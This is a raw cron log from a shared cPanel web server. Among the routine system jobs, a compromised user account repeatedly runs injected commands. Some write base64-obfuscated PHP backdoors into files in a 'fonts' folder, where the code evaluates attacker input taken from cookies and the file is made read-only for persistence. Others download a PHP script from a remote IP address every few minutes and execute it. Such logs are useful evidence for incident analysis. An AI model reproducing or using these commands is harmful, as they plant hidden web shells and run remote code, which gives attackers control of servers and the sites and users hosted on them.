Feb 22 14:17:01 ip-184-168-122-23 CROND[15707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:17:01 ip-184-168-122-23 CROND[15709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:17:01 ip-184-168-122-23 CROND[15712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:18:01 ip-184-168-122-23 CROND[16018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:18:01 ip-184-168-122-23 CROND[16019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:18:01 ip-184-168-122-23 CROND[16021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:18:01 ip-184-168-122-23 CROND[16024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:18:01 ip-184-168-122-23 CROND[16027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:19:01 ip-184-168-122-23 CROND[16327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:19:01 ip-184-168-122-23 CROND[16329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:19:01 ip-184-168-122-23 CROND[16330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:19:01 ip-184-168-122-23 CROND[16333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:20:01 ip-184-168-122-23 CROND[16659]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 14:20:01 ip-184-168-122-23 CROND[16662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:20:01 ip-184-168-122-23 CROND[16663]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:20:01 ip-184-168-122-23 CROND[16665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:20:01 ip-184-168-122-23 CROND[16667]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:20:01 ip-184-168-122-23 CROND[16668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:20:01 ip-184-168-122-23 CROND[16671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:20:01 ip-184-168-122-23 CROND[16666]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 14:20:01 ip-184-168-122-23 CROND[16669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:21:01 ip-184-168-122-23 CROND[16988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:21:01 ip-184-168-122-23 CROND[16987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:21:01 ip-184-168-122-23 CROND[16990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:21:01 ip-184-168-122-23 CROND[16992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:22:01 ip-184-168-122-23 CROND[17312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:22:01 ip-184-168-122-23 CROND[17313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:22:01 ip-184-168-122-23 CROND[17315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:22:01 ip-184-168-122-23 CROND[17317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:22:01 ip-184-168-122-23 CROND[17320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:23:01 ip-184-168-122-23 CROND[17738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:23:01 ip-184-168-122-23 CROND[17740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:23:01 ip-184-168-122-23 CROND[17739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:23:01 ip-184-168-122-23 CROND[17741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:24:01 ip-184-168-122-23 CROND[18052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:24:01 ip-184-168-122-23 CROND[18054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:24:01 ip-184-168-122-23 CROND[18055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:24:01 ip-184-168-122-23 CROND[18057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:24:01 ip-184-168-122-23 CROND[18056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:25:01 ip-184-168-122-23 CROND[18386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:25:01 ip-184-168-122-23 CROND[18387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:25:01 ip-184-168-122-23 CROND[18389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:25:01 ip-184-168-122-23 CROND[18390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:25:01 ip-184-168-122-23 CROND[18395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:25:01 ip-184-168-122-23 CROND[18393]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Feb 22 14:25:01 ip-184-168-122-23 CROND[18394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:26:01 ip-184-168-122-23 CROND[18722]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:26:01 ip-184-168-122-23 CROND[18723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:26:01 ip-184-168-122-23 CROND[18726]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Feb 22 14:26:01 ip-184-168-122-23 CROND[18727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:26:01 ip-184-168-122-23 CROND[18731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:26:01 ip-184-168-122-23 CROND[18730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:27:01 ip-184-168-122-23 crond[674]: (aromaskitchen) ORPHAN (no passwd entry)
Feb 22 14:27:01 ip-184-168-122-23 crond[674]: (jonessimon) ORPHAN (no passwd entry)
Feb 22 14:27:01 ip-184-168-122-23 CROND[19116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:27:01 ip-184-168-122-23 CROND[19118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:27:01 ip-184-168-122-23 CROND[19117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:27:01 ip-184-168-122-23 CROND[19119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:28:01 ip-184-168-122-23 CROND[19495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:28:01 ip-184-168-122-23 CROND[19496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:28:01 ip-184-168-122-23 CROND[19502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:28:01 ip-184-168-122-23 CROND[19501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:28:01 ip-184-168-122-23 CROND[19503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:29:01 ip-184-168-122-23 CROND[19898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:29:01 ip-184-168-122-23 CROND[19899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
